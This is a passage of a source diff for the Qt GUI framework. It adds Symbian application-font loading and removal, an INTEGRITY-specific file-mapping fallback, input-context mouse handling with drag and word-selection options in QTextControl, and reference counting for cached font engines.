+ if (!tempfile.open() || tempfile.write(data) == -1)
+ return false;
+ ttfFileName = QDir::toNativeSeparators(QFileInfo(tempfile).canonicalFilePath());
+ tempfile.setAutoRemove(false);
+ tempfile.close();
+ tempFileGuard.setFileName(ttfFileName);
+ if (!tempFileGuard.open(QIODevice::ReadOnly))
+ return false;
+ } else if (info.isFile()) {
+ ttfFileName = QDir::toNativeSeparators(info.canonicalFilePath());
+ } else {
+ return false;
+ }
+
+ CFontStore *store = 0;
+ RHeap* heap = User::ChunkHeap(NULL, 0x1000, 0x20000);
+ if (heap) {
+ QT_TRAP_THROWING(
+ CleanupClosePushL(*heap);
+ store = CFontStore::NewL(heap);
+ CleanupStack::PushL(store);
+ COpenFontRasterizer *rasterizer = COpenFontRasterizer::NewL(TUid::Uid(0x101F7F5E));
+ CleanupStack::PushL(rasterizer);
+ store->InstallRasterizerL(rasterizer);
+ CleanupStack::Pop(rasterizer);
+ TUid fontUid = {-1};
+ TRAP_IGNORE(fontUid = store->AddFileL(qt_QString2TPtrC(ttfFileName)));
+ if (fontUid.iUid != -1)
+ result = true;
+ CleanupStack::PopAndDestroy(2, heap); // heap, store
+ );
+ }
+
+ if (tempFileGuard.isOpen())
+ tempFileGuard.remove();
+
+ return result;
+}
+
static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
{
- Q_UNUSED(fnt);
+ if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()
+ || fnt->data.size() > ttfMaxFileSize // hard limit
+ || fnt->data.isEmpty() && (!fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive) // Only buffer or .ttf
+ || QFileInfo(fnt->fileName).size() > ttfMaxFileSize)) // hard limit
+ return;
+
+// Using ttfCanSymbianLoadFont() causes crashes on app destruction (Symbian^3|PR1 and lower).
+// Therefore, not using it for now, but eventually in a later version.
+// if (!ttfCanSymbianLoadFont(fnt->data, fnt->fileName))
+// return;
+
+ QFontDatabasePrivate *db = privateDb();
+ if (!db)
+ return;
+
+ if (!db->count)
+ initializeDb();
+
+ QSymbianFontDatabaseExtrasImplementation *dbExtras =
+ static_cast<QSymbianFontDatabaseExtrasImplementation*>(db->symbianExtras);
+ if (!dbExtras)
+ return;
+
+ const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
+
+ // The QTemporaryFile object being used in the following section must be
+ // destructed before letting Symbian load the TTF file. Symbian would not
+ // load it otherwise, because QTemporaryFile will still keep some handle
+ // on it. The scope is used to reduce the life time of the QTemporaryFile.
+ // In order to prevent other processes from modifying the file between the
+ // moment where the QTemporaryFile is destructed and the file is loaded by
+ // Symbian, we have a QFile "tempFileGuard" outside the scope which opens
+ // the file in ReadOnly mode while the QTemporaryFile is still alive.
+ QFile tempFileGuard;
+ {
+ QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
+ + marker + QLatin1String("XXXXXX.ttf"));
+ if (!tempfile.open())
+ return;
+ const QString tempFileName = QFileInfo(tempfile).canonicalFilePath();
+ if (fnt->data.isEmpty()) {
+ QFile sourceFile(fnt->fileName);
+ if (!sourceFile.open(QIODevice::ReadOnly))
+ return;
+ fnt->data = sourceFile.readAll();
+ }
+ if (!ttfMarkAppFont(fnt->data, marker) || tempfile.write(fnt->data) == -1)
+ return;
+ tempfile.setAutoRemove(false);
+ tempfile.close(); // Tempfile still keeps a file handle, forbidding write access
+ fnt->data.clear(); // The TTF data was marked and saved. Not needed in memory, anymore.
+ tempFileGuard.setFileName(tempFileName);
+ if (!tempFileGuard.open(QIODevice::ReadOnly))
+ return;
+ fnt->temporaryFileName = tempFileName;
+ }
+
+ const QString fullFileName = QDir::toNativeSeparators(fnt->temporaryFileName);
+ QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock);
+ const QStringList fontsOnServerBefore = qt_symbian_fontFamiliesOnFontServer();
+ const TInt err =
+ S60->screenDevice()->AddFile(qt_QString2TPtrC(fullFileName), fnt->screenDeviceFontFileId);
+ tempFileGuard.close(); // Did its job
+ const QStringList fontsOnServerAfter = qt_symbian_fontFamiliesOnFontServer();
+ if (err == KErrNone && fontsOnServerBefore.count() < fontsOnServerAfter.count()) { // Added to screen device?
+ int fontOnServerIndex = fontsOnServerAfter.count() - 1;
+ for (int i = 0; i < fontsOnServerBefore.count(); i++) {
+ if (fontsOnServerBefore.at(i) != fontsOnServerAfter.at(i)) {
+ fontOnServerIndex = i;
+ break;
+ }
+ }
+
+ // Must remove all font engines with their CFonts, first.
+ QFontCache::instance()->clear();
+ db->free();
+ QSymbianFontDatabaseExtrasImplementation::clear();
+
+ if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable())
+ fnt->fontStoreFontFileUid = dbExtras->addFontFileToFontStore(QFileInfo(fullFileName));
+
+ const QString &appFontName = fontsOnServerAfter.at(fontOnServerIndex);
+ fnt->families.append(qt_symbian_appFontNameWithoutMarker(appFontName));
+ if (!qt_symbian_fontNameHasAppFontMarker(appFontName)
+ || !registerScreenDeviceFont(fontOnServerIndex, dbExtras))
+ dbExtras->removeAppFontData(fnt);
+ } else {
+ if (fnt->screenDeviceFontFileId > 0)
+ S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId); // May still have the file open!
+ QFile::remove(fnt->temporaryFileName);
+ *fnt = QFontDatabasePrivate::ApplicationFont();
+ }
+ lock.relock();
}
bool QFontDatabase::removeApplicationFont(int handle)
{
- Q_UNUSED(handle);
- return false;
+ QMutexLocker locker(fontDatabaseMutex());
+
+ QFontDatabasePrivate *db = privateDb();
+ if (!db || handle < 0 || handle >= db->applicationFonts.count())
+ return false;
+ QSymbianFontDatabaseExtrasImplementation *dbExtras =
+ static_cast<QSymbianFontDatabaseExtrasImplementation*>(db->symbianExtras);
+ if (!dbExtras)
+ return false;
+
+ QFontDatabasePrivate::ApplicationFont *fnt = &db->applicationFonts[handle];
+ if (fnt->families.isEmpty())
+ return true; // Nothing to remove. Return peacefully.
+
+ // Must remove all font engines with their CFonts, first
+ QFontCache::instance()->clear();
+ db->free();
+ dbExtras->removeAppFontData(fnt);
+
+ db->invalidate(); // This will just emit 'fontDatabaseChanged()'
+ return true;
}
bool QFontDatabase::removeAllApplicationFonts()
{
- return false;
+ QMutexLocker locker(fontDatabaseMutex());
+
+ const int applicationFontsCount = privateDb()->applicationFonts.count();
+ for (int i = 0; i < applicationFontsCount; ++i)
+ if (!removeApplicationFont(i))
+ return false;
+ return true;
}
bool QFontDatabase::supportsThreadedFontRendering()
@@ -467,7 +984,7 @@ QFontEngine *QFontDatabase::findFont(int script, const QFontPrivate *d, const QF
QFontDatabasePrivate *db = privateDb();
QtFontDesc desc;
QList<int> blacklistedFamilies;
- match(script, req, req.family, QString(), -1, &desc, blacklistedFamilies);
+ match(script, key.def, key.def.family, QString(), -1, &desc, blacklistedFamilies);
if (!desc.family) // falling back to application font
desc.family = db->family(QApplication::font().defaultFamily());
Q_ASSERT(desc.family);
diff --git a/src/gui/text/qfontdatabase_x11.cpp b/src/gui/text/qfontdatabase_x11.cpp
index 2186058..f923d87 100644
--- a/src/gui/text/qfontdatabase_x11.cpp
+++ b/src/gui/text/qfontdatabase_x11.cpp
@@ -1972,17 +1972,6 @@ void QFontDatabase::load(const QFontPrivate *d, int script)
#ifndef QT_NO_FONTCONFIG
} else if (X11->has_fontconfig) {
fe = loadFc(d, script, req);
- if (fe != 0 && fe->fontDef.pixelSize != req.pixelSize && mainThread && qt_is_gui_used) {
- QFontEngine *xlfdFontEngine = loadXlfd(d->screen, script, req);
- if (xlfdFontEngine->fontDef.family == fe->fontDef.family) {
- delete fe;
- fe = xlfdFontEngine;
- } else {
- delete xlfdFontEngine;
- }
- }
-
-
#endif
} else if (mainThread && qt_is_gui_used) {
fe = loadXlfd(d->screen, script, req);
diff --git a/src/gui/text/qfontengine_qws.cpp b/src/gui/text/qfontengine_qws.cpp
index 4802b94..b71c4a7 100644
--- a/src/gui/text/qfontengine_qws.cpp
+++ b/src/gui/text/qfontengine_qws.cpp
@@ -288,13 +288,16 @@ private:
#else
void readNode(QIODevice& f)
{
- uchar rw = f.getch();
- uchar cl = f.getch();
+ char rw;
+ char cl;
+ f.getChar(&rw);
+ f.getChar(&cl);
min = (rw << 8) | cl;
- rw = f.getch();
- cl = f.getch();
+ f.getChar(&rw);
+ f.getChar(&cl);
max = (rw << 8) | cl;
- int flags = f.getch();
+ char flags;
+ f.getChar(&flags);
if ( flags & 1 )
less = new QPFGlyphTree;
else
@@ -332,7 +335,7 @@ private:
int n = max-min+1;
for (int i=0; i<n; i++) {
glyph[i].metrics = new QPFGlyphMetrics;
- f.readBlock((char*)glyph[i].metrics, sizeof(QPFGlyphMetrics));
+ f.read((char*)glyph[i].metrics, sizeof(QPFGlyphMetrics));
}
if ( less )
less->readMetrics(f);
@@ -365,7 +368,7 @@ private:
//############### s = qt_screen->mapToDevice( s );
uint datasize = glyph[i].metrics->linestep * s.height();
glyph[i].data = new uchar[datasize]; // ### deleted?
- f.readBlock((char*)glyph[i].data, datasize);
+ f.read((char*)glyph[i].data, datasize);
}
if ( less )
less->readData(f);
@@ -385,6 +388,32 @@ public:
size_t mmapLength;
};
+#if defined(Q_OS_INTEGRITY)
+static void *qt_mmap(void *start, size_t length, int /*prot*/, int /*flags*/, int fd, off_t offset)
+{
+ // INTEGRITY cannot mmap local files - load it into a local buffer
+ if (::lseek(fd, offset, SEEK_SET) == -1) {
+# if defined(DEBUG_FONTENGINE)
+ perror("lseek failed");
+# endif
+ }
+ void *buf = malloc(length);
+ if (::read(fd, buf, length) != (ssize_t)length) {
+# if defined(DEBUG_FONTENGINE)
+ perror("read failed");
+# endif
+ }
+
+ return buf;
+}
+#else
+static inline void *qt_mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset)
+{
+ return mmap(start, length, prot, flags, fd, offset);
+}
+#endif
+
+
QFontEngineQPF1::QFontEngineQPF1(const QFontDef&, const QString &fn)
{
@@ -395,16 +424,18 @@ QFontEngineQPF1::QFontEngineQPF1(const QFontDef&, const QString &fn)
QT_STATBUF st;
if ( QT_FSTAT( f, &st ) )
qFatal("Failed to stat %s",QFile::encodeName(fn).data());
- uchar* data = (uchar*)mmap( 0, // any address
+ uchar* data = (uchar*)qt_mmap( 0, // any address
st.st_size, // whole file
PROT_READ, // read-only memory
-#if !defined(Q_OS_SOLARIS) && !defined(Q_OS_QNX4) && !defined(Q_OS_INTEGRITY) && !defined(Q_OS_VXWORKS)
+#if defined(Q_OS_INTEGRITY)
+ 0,
+#elif !defined(Q_OS_SOLARIS) && !defined(Q_OS_QNX4) && !defined(Q_OS_VXWORKS)
MAP_FILE | MAP_PRIVATE, // swap-backed map from file
#else
MAP_PRIVATE,
#endif
f, 0 ); // from offset 0 of f
-#if defined(Q_OS_QNX4) && !defined(MAP_FAILED)
+#if !defined(MAP_FAILED) && (defined(Q_OS_QNX4) || defined(Q_OS_INTEGRITY))
#define MAP_FAILED ((void *)-1)
#endif
if ( !data || data == (uchar*)MAP_FAILED )
diff --git a/src/gui/text/qfontengine_s60.cpp b/src/gui/text/qfontengine_s60.cpp
index 4317ee6..e9b54e3 100644
--- a/src/gui/text/qfontengine_s60.cpp
+++ b/src/gui/text/qfontengine_s60.cpp
@@ -244,10 +244,13 @@ static inline unsigned int getChar(const QChar *str, int &i, const int len)
return uc;
}
+extern QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName); // qfontdatabase_s60.cpp
+
CFont *QFontEngineS60::fontWithSize(qreal size) const
{
CFont *result = 0;
- TFontSpec fontSpec(qt_QString2TPtrC(QFontEngine::fontDef.family), TInt(size));
+ const QString family = qt_symbian_fontNameWithAppFontMarker(QFontEngine::fontDef.family);
+ TFontSpec fontSpec(qt_QString2TPtrC(family), TInt(size));
fontSpec.iFontStyle.SetBitmapType(EAntiAliasedGlyphBitmap);
fontSpec.iFontStyle.SetPosture(QFontEngine::fontDef.style == QFont::StyleNormal?EPostureUpright:EPostureItalic);
fontSpec.iFontStyle.SetStrokeWeight(QFontEngine::fontDef.weight > QFont::Normal?EStrokeWeightBold:EStrokeWeightNormal);
diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp
index 89ca6bf..46f1d62 100644
--- a/src/gui/text/qtextcontrol.cpp
+++ b/src/gui/text/qtextcontrol.cpp
@@ -115,6 +115,7 @@ static QTextLine currentTextLine(const QTextCursor &cursor)
QTextControlPrivate::QTextControlPrivate()
: doc(0), cursorOn(false), cursorIsFocusIndicator(false),
interactionFlags(Qt::TextEditorInteraction),
+ dragEnabled(true),
#ifndef QT_NO_DRAGANDDROP
mousePressed(false), mightStartDrag(false),
#endif
@@ -129,7 +130,8 @@ QTextControlPrivate::QTextControlPrivate()
isEnabled(true),
hadSelectionOnMousePress(false),
ignoreUnusedNavigationEvents(false),
- openExternalLinks(false)
+ openExternalLinks(false),
+ wordSelectionEnabled(false)
{}
bool QTextControlPrivate::cursorMoveKeyEvent(QKeyEvent *e)
@@ -931,15 +933,18 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
break; }
case QEvent::MouseMove: {
QMouseEvent *ev = static_cast<QMouseEvent *>(e);
- d->mouseMoveEvent(ev->buttons(), matrix.map(ev->pos()));
+ d->mouseMoveEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+ ev->buttons(), ev->globalPos());
break; }
case QEvent::MouseButtonRelease: {
QMouseEvent *ev = static_cast<QMouseEvent *>(e);
- d->mouseReleaseEvent(ev->button(), matrix.map(ev->pos()));
+ d->mouseReleaseEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+ ev->buttons(), ev->globalPos());
break; }
case QEvent::MouseButtonDblClick: {
QMouseEvent *ev = static_cast<QMouseEvent *>(e);
- d->mouseDoubleClickEvent(e, ev->button(), matrix.map(ev->pos()));
+ d->mouseDoubleClickEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+ ev->buttons(), ev->globalPos());
break; }
case QEvent::InputMethod:
d->inputMethodEvent(static_cast<QInputMethodEvent *>(e));
@@ -999,15 +1004,18 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
break; }
case QEvent::GraphicsSceneMouseMove: {
QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
- d->mouseMoveEvent(ev->buttons(), matrix.map(ev->pos()));
+ d->mouseMoveEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+ ev->screenPos());
break; }
case QEvent::GraphicsSceneMouseRelease: {
QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
- d->mouseReleaseEvent(ev->button(), matrix.map(ev->pos()));
+ d->mouseReleaseEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+ ev->screenPos());
break; }
case QEvent::GraphicsSceneMouseDoubleClick: {
QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
- d->mouseDoubleClickEvent(e, ev->button(), matrix.map(ev->pos()));
+ d->mouseDoubleClickEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+ ev->screenPos());
break; }
case QEvent::GraphicsSceneContextMenu: {
QGraphicsSceneContextMenuEvent *ev = static_cast<QGraphicsSceneContextMenuEvent *>(e);
@@ -1016,7 +1024,8 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
case QEvent::GraphicsSceneHoverMove: {
QGraphicsSceneHoverEvent *ev = static_cast<QGraphicsSceneHoverEvent *>(e);
- d->mouseMoveEvent(Qt::NoButton, matrix.map(ev->pos()));
+ d->mouseMoveEvent(ev, Qt::NoButton, matrix.map(ev->pos()), ev->modifiers(),Qt::NoButton,
+ ev->screenPos());
break; }
case QEvent::GraphicsSceneDragEnter: {
@@ -1486,6 +1495,11 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
{
Q_Q(QTextControl);
+ if (sendMouseEventToInputContext(
+ e, QEvent::MouseButtonPress, button, pos, modifiers, buttons, globalPos)) {
+ return;
+ }
+
if (interactionFlags & Qt::LinksAccessibleByMouse) {
anchorOnMousePress = q->anchorAt(pos);
@@ -1528,31 +1542,22 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
return;
}
-#if !defined(QT_NO_IM)
- QTextLayout *layout = cursor.block().layout();
- if (contextWidget && layout && !layout->preeditAreaText().isEmpty()) {
- QInputContext *ctx = inputContext();
- if (ctx) {
- QMouseEvent ev(QEvent::MouseButtonPress, contextWidget->mapFromGlobal(globalPos), globalPos,
- button, buttons, modifiers);
- ctx->mouseHandler(cursorPos - cursor.position(), &ev);
+ if (modifiers == Qt::ShiftModifier && (interactionFlags & Qt::TextSelectableByMouse)) {
+ if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
+ selectedWordOnDoubleClick = cursor;
+ selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
}
- if (!layout->preeditAreaText().isEmpty()) {
- e->ignore();
- return;
- }
- }
-#endif
- if (modifiers == Qt::ShiftModifier) {
+
if (selectedBlockOnTrippleClick.hasSelection())
extendBlockwiseSelection(cursorPos);
else if (selectedWordOnDoubleClick.hasSelection())
extendWordwiseSelection(cursorPos, pos.x());
- else
+ else if (wordSelectionEnabled)
setCursorPosition(cursorPos, QTextCursor::KeepAnchor);
} else {
- if (cursor.hasSelection()
+ if (dragEnabled
+ && cursor.hasSelection()
&& !cursorIsFocusIndicator
&& cursorPos >= cursor.selectionStart()
&& cursorPos <= cursor.selectionEnd()
@@ -1582,10 +1587,16 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
hadSelectionOnMousePress = cursor.hasSelection();
}
-void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF &mousePos)
+void QTextControlPrivate::mouseMoveEvent(QEvent *e, Qt::MouseButton button, const QPointF &mousePos, Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons, const QPoint &globalPos)
{
Q_Q(QTextControl);
+ if (sendMouseEventToInputContext(
+ e, QEvent::MouseMove, button, mousePos, modifiers, buttons, globalPos)) {
+ return;
+ }
+
if (interactionFlags & Qt::LinksAccessibleByMouse) {
QString anchor = q->anchorAt(mousePos);
if (anchor != highlightedAnchor) {
@@ -1615,21 +1626,20 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
}
const qreal mouseX = qreal(mousePos.x());
-#if !defined(QT_NO_IM)
- QTextLayout *layout = cursor.block().layout();
- if (layout && !layout->preeditAreaText().isEmpty())
- return;
-#endif
-
int newCursorPos = q->hitTest(mousePos, Qt::FuzzyHit);
if (newCursorPos == -1)
return;
+ if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
+ selectedWordOnDoubleClick = cursor;
+ selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
+ }
+
if (selectedBlockOnTrippleClick.hasSelection())
extendBlockwiseSelection(newCursorPos);
else if (selectedWordOnDoubleClick.hasSelection())
extendWordwiseSelection(newCursorPos, mouseX);
- else
+ else if (interactionFlags & Qt::TextSelectableByMouse)
setCursorPosition(newCursorPos, QTextCursor::KeepAnchor);
if (interactionFlags & Qt::TextEditable) {
@@ -1653,10 +1663,16 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
repaintOldAndNewSelection(oldSelection);
}
-void QTextControlPrivate::mouseReleaseEvent(Qt::MouseButton button, const QPointF &pos)
+void QTextControlPrivate::mouseReleaseEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos, Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons, const QPoint &globalPos)
{
Q_Q(QTextControl);
+ if (sendMouseEventToInputContext(
+ e, QEvent::MouseButtonRelease, button, pos, modifiers, buttons, globalPos)) {
+ return;
+ }
+
const QTextCursor oldSelection = cursor;
const int oldCursorPos = cursor.position();
@@ -1714,19 +1730,21 @@ void QTextControlPrivate::mouseReleaseEvent(Qt::MouseButton button, const QPoint
}
}
-void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos)
+void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos, Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons, const QPoint &globalPos)
{
Q_Q(QTextControl);
+
+ if (sendMouseEventToInputContext(
+ e, QEvent::MouseButtonDblClick, button, pos, modifiers, buttons, globalPos)) {
+ return;
+ }
+
if (button != Qt::LeftButton
|| !(interactionFlags & Qt::TextSelectableByMouse)) {
e->ignore();
return;
}
-#if !defined(QT_NO_IM)
- QTextLayout *layout = cursor.block().layout();
- if (layout && !layout->preeditAreaText().isEmpty())
- return;
-#endif
#ifndef QT_NO_DRAGANDDROP
mightStartDrag = false;
@@ -1755,6 +1773,45 @@ void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton butto
}
}
+bool QTextControlPrivate::sendMouseEventToInputContext(
+ QEvent *e, QEvent::Type eventType, Qt::MouseButton button, const QPointF &pos,
+ Qt::KeyboardModifiers modifiers, Qt::MouseButtons buttons, const QPoint &globalPos)
+{
+#if !defined(QT_NO_IM)
+ Q_Q(QTextControl);
+
+ QTextLayout *layout = cursor.block().layout();
+ if (contextWidget && layout && !layout->preeditAreaText().isEmpty()) {
+ QInputContext *ctx = inputContext();
+ int cursorPos = q->hitTest(pos, Qt::FuzzyHit) - cursor.position();
+
+ if (cursorPos < 0 || cursorPos > layout->preeditAreaText().length()) {
+ cursorPos = -1;
+ // don't send move events outside the preedit area
+ if (eventType == QEvent::MouseMove)
+ return true;
+ }
+ if (ctx) {
+ QMouseEvent ev(eventType, contextWidget->mapFromGlobal(globalPos), globalPos,
+ button, buttons, modifiers);
+ ctx->mouseHandler(cursorPos, &ev);
+ e->setAccepted(ev.isAccepted());
+ }
+ if (!layout->preeditAreaText().isEmpty())
+ return true;
+ }
+#else
+ Q_UNUSED(e);
+ Q_UNUSED(eventType);
+ Q_UNUSED(button);
+ Q_UNUSED(pos);
+ Q_UNUSED(modifiers);
+ Q_UNUSED(buttons);
+ Q_UNUSED(globalPos);
+#endif
+ return false;
+}
+
void QTextControlPrivate::contextMenuEvent(const QPoint &screenPos, const QPointF &docPos, QWidget *contextWidget)
{
#ifdef QT_NO_CONTEXTMENU
@@ -2331,6 +2388,31 @@ bool QTextControl::cursorIsFocusIndicator() const
return d->cursorIsFocusIndicator;
}
+
+void QTextControl::setDragEnabled(bool enabled)
+{
+ Q_D(QTextControl);
+ d->dragEnabled = enabled;
+}
+
+bool QTextControl::isDragEnabled() const
+{
+ Q_D(const QTextControl);
+ return d->dragEnabled;
+}
+
+void QTextControl::setWordSelectionEnabled(bool enabled)
+{
+ Q_D(QTextControl);
+ d->wordSelectionEnabled = enabled;
+}
+
+bool QTextControl::isWordSelectionEnabled() const
+{
+ Q_D(const QTextControl);
+ return d->wordSelectionEnabled;
+}
+
#ifndef QT_NO_PRINTER
void QTextControl::print(QPrinter *printer) const
{
diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h
index 6540f4f..31fa843 100644
--- a/src/gui/text/qtextcontrol_p.h
+++ b/src/gui/text/qtextcontrol_p.h
@@ -175,6 +175,12 @@ public:
void setCursorIsFocusIndicator(bool b);
bool cursorIsFocusIndicator() const;
+ void setDragEnabled(bool enabled);
+ bool isDragEnabled() const;
+
+ bool isWordSelectionEnabled() const;
+ void setWordSelectionEnabled(bool enabled);
+
#ifndef QT_NO_PRINTER
void print(QPrinter *printer) const;
#endif
@@ -183,8 +189,6 @@ public:
virtual QRectF blockBoundingRect(const QTextBlock &block) const;
QAbstractTextDocumentLayout::PaintContext getPaintContext(QWidget *widget) const;
-
-
public Q_SLOTS:
void setPlainText(const QString &text);
void setHtml(const QString &text);
diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h
index 04f4c75..94670e2 100644
--- a/src/gui/text/qtextcontrol_p_p.h
+++ b/src/gui/text/qtextcontrol_p_p.h
@@ -135,9 +135,23 @@ public:
Qt::KeyboardModifiers modifiers,
Qt::MouseButtons buttons,
const QPoint &globalPos);
- void mouseMoveEvent(Qt::MouseButtons buttons, const QPointF &pos);
- void mouseReleaseEvent(Qt::MouseButton button, const QPointF &pos);
- void mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos);
+ void mouseMoveEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+ Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons,
+ const QPoint &globalPos);
+ void mouseReleaseEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+ Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons,
+ const QPoint &globalPos);
+ void mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+ Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons,
+ const QPoint &globalPos);
+ bool sendMouseEventToInputContext(QEvent *e, QEvent::Type eventType, Qt::MouseButton button,
+ const QPointF &pos,
+ Qt::KeyboardModifiers modifiers,
+ Qt::MouseButtons buttons,
+ const QPoint &globalPos);
void contextMenuEvent(const QPoint &screenPos, const QPointF &docPos, QWidget *contextWidget);
void focusEvent(QFocusEvent *e);
#ifdef QT_KEYPAD_NAVIGATION
@@ -174,6 +188,8 @@ public:
QBasicTimer trippleClickTimer;
QPointF trippleClickPoint;
+ bool dragEnabled;
+
bool mousePressed;
bool mightStartDrag;
@@ -209,6 +225,8 @@ public:
bool ignoreUnusedNavigationEvents;
bool openExternalLinks;
+ bool wordSelectionEnabled;
+
QString linkToCopy;
void _q_copyLink();
void _q_updateBlock(const QTextBlock &);
diff --git a/src/gui/text/qtextdocument_p.cpp b/src/gui/text/qtextdocument_p.cpp
index 498a432..2172f74 100644
--- a/src/gui/text/qtextdocument_p.cpp
+++ b/src/gui/text/qtextdocument_p.cpp
@@ -663,7 +663,8 @@ void QTextDocumentPrivate::move(int pos, int to, int length, QTextUndoCommand::O
Q_ASSERT(blocks.length() == fragments.length());
- finishEdit();
+ if (!blockCursorAdjustment)
+ finishEdit();
}
void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operation op)
@@ -678,6 +679,7 @@ void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operati
curs->changed = true;
}
}
+ finishEdit();
}
void QTextDocumentPrivate::setCharFormat(int pos, int length, const QTextCharFormat &newFormat, FormatChangeMode mode)
diff --git a/src/gui/text/qtextdocumentlayout.cpp b/src/gui/text/qtextdocumentlayout.cpp
index 157b7bc..838face 100644
--- a/src/gui/text/qtextdocumentlayout.cpp
+++ b/src/gui/text/qtextdocumentlayout.cpp
@@ -2510,6 +2510,7 @@ static inline void getLineHeightParams(const QTextBlockFormat &blockFormat, cons
QFixed *lineAdjustment, QFixed *lineBreakHeight, QFixed *lineHeight)
{
*lineHeight = QFixed::fromReal(blockFormat.lineHeight(line.height(), scaling));
+
if (blockFormat.lineHeightType() == QTextBlockFormat::FixedHeight || blockFormat.lineHeightType() == QTextBlockFormat::MinimumHeight) {
*lineBreakHeight = *lineHeight;
if (blockFormat.lineHeightType() == QTextBlockFormat::FixedHeight)
diff --git a/src/gui/text/qtextengine.cpp b/src/gui/text/qtextengine.cpp
index 415fa4b..a63fdbf 100644
--- a/src/gui/text/qtextengine.cpp
+++ b/src/gui/text/qtextengine.cpp
@@ -1385,6 +1385,15 @@ void QTextEngine::shape(int item) const
}
}
+static inline void releaseCachedFontEngine(QFontEngine *fontEngine)
+{
+ if (fontEngine) {
+ fontEngine->ref.deref();
+ if (fontEngine->cache_count == 0 && fontEngine->ref == 0)
+ delete fontEngine;
+ }
+}
+
void QTextEngine::invalidate()
{
freeMemory();
@@ -1392,6 +1401,9 @@ void QTextEngine::invalidate()
maxWidth = 0;
if (specialData)
specialData->resolvedFormatIndices.clear();
+
+ releaseCachedFontEngine(feCache.prevFontEngine);
+ releaseCachedFontEngine(feCache.prevScaledFontEngine);
feCache.reset();
}
@@ -1824,7 +1836,11 @@ QFontEngine *QTextEngine::fontEngine(const QScriptItem &si, QFixed *ascent, QFix
scaledEngine = font.d->engineForScript(script);
}
feCache.prevFontEngine = engine;
+ if (engine)
+ engine->ref.ref();
feCache.prevScaledFontEngine = scaledEngine;
+ if (scaledEngine)
+ scaledEngine->ref.ref();
feCache.prevScript = script;
feCache.prevPosition = si.position;
feCache.prevLength = length(&si);
@@ -1835,6 +1851,8 @@ QFontEngine *QTextEngine::fontEngine(const QScriptItem &si, QFixed *ascent, QFix
else {
engine = font.d->engineForScript(script);
feCache.prevFontEngine = engine;
+ if (engine)
+ engine->ref.ref();
feCache.prevScript = script;
feCache.prevPosition = -1;
feCache.prevLength = -1;
diff --git a/src/gui/text/text.pri b/src/gui/text/text.pri
index daafdd9..d3e8f2d 100644
--- a/src/gui/text/text.pri
+++ b/src/gui/text/text.pri
@@ -147,8 +147,8 @@ symbian {
text/qfontengine_s60.cpp
HEADERS += \
text/qfontengine_s60_p.h
- LIBS += -lfntstr -lecom
}
+ LIBS += -lfntstr -lecom
}
!qpa {
diff --git a/src/gui/widgets/qcocoamenu_mac.mm b/src/gui/widgets/qcocoamenu_mac.mm
index d5c8eb8..dff37b4 100644
--- a/src/gui/widgets/qcocoamenu_mac.mm
+++ b/src/gui/widgets/qcocoamenu_mac.mm
@@ -48,6 +48,7 @@
#include <private/qt_cocoa_helpers_mac_p.h>
#include <private/qapplication_p.h>
#include <private/qaction_p.h>
